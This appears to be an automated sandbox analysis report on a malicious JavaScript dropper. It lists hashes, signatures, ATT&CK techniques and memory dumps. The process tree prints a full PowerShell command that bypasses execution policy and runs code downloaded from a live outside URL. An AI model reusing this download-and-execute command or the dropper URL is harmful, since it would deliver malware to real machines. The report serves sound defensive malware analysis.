fad46899d17fbd6a686f29d6721aeb449b524bcab309920ca4ad30b84ab6791a

Analysis

max time kernel
118s
max time network
118s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
03/03/2024, 09:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
I_477747774777SH_4777.js
Size 70KB
Sample240303-lfmcksgh82
SHA256 cee471e525e0017d7a241b90d685d24d2b66c2251fe9782a350c5f2a1d57c68e
MD5 6168817e7808252a0175bb21426295c1
SHA1 180ac0aa18ceb1f2c06321fdd7be4bd80def175c
SHA512 42533021c2876e3dd07be3dce4fc1f6e9f9e6b846ce6682af1912b4c21a9e53d7904ea450e4acb641316f60a5173058332c94d1b4ff020c9dcbc6a122195c4dd
SSDEEP 1536:fDPh1Obk522cWTaNmuCzfqupYqBECfWQCSeQzFMa1hUJ:fLh8U22cCamukiuGChfWQMQz/rUJ
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://hotelashrafee.com/rem.txt

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2628	powershell.exe
4	2628	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2628	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2628	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1940 wrote to memory of 2628	1940	wscript.exe	28
PID 1940 wrote to memory of 2628	1940	wscript.exe	28
PID 1940 wrote to memory of 2628	1940	wscript.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\I_477747774777SH_4777.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1940
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (New-Object Net.WebClient).DownloadString('https://hotelashrafee.com/rem.txt')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2628

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2628-4-0x000000001B800000-0x000000001BAE2000-memory.dmp

Download

memory/2628-5-0x0000000001E40000-0x0000000001E48000-memory.dmp

Download

memory/2628-6-0x000007FEF5180000-0x000007FEF5B1D000-memory.dmp

Download

memory/2628-7-0x0000000002C80000-0x0000000002D00000-memory.dmp

Download

memory/2628-9-0x0000000002C80000-0x0000000002D00000-memory.dmp

Download

memory/2628-8-0x000007FEF5180000-0x000007FEF5B1D000-memory.dmp

Download

memory/2628-10-0x0000000002C80000-0x0000000002D00000-memory.dmp

Download

memory/2628-11-0x0000000002C80000-0x0000000002D00000-memory.dmp

Download

memory/2628-12-0x0000000002C80000-0x0000000002D00000-memory.dmp

Download

memory/2628-13-0x000007FEF5180000-0x000007FEF5B1D000-memory.dmp

Download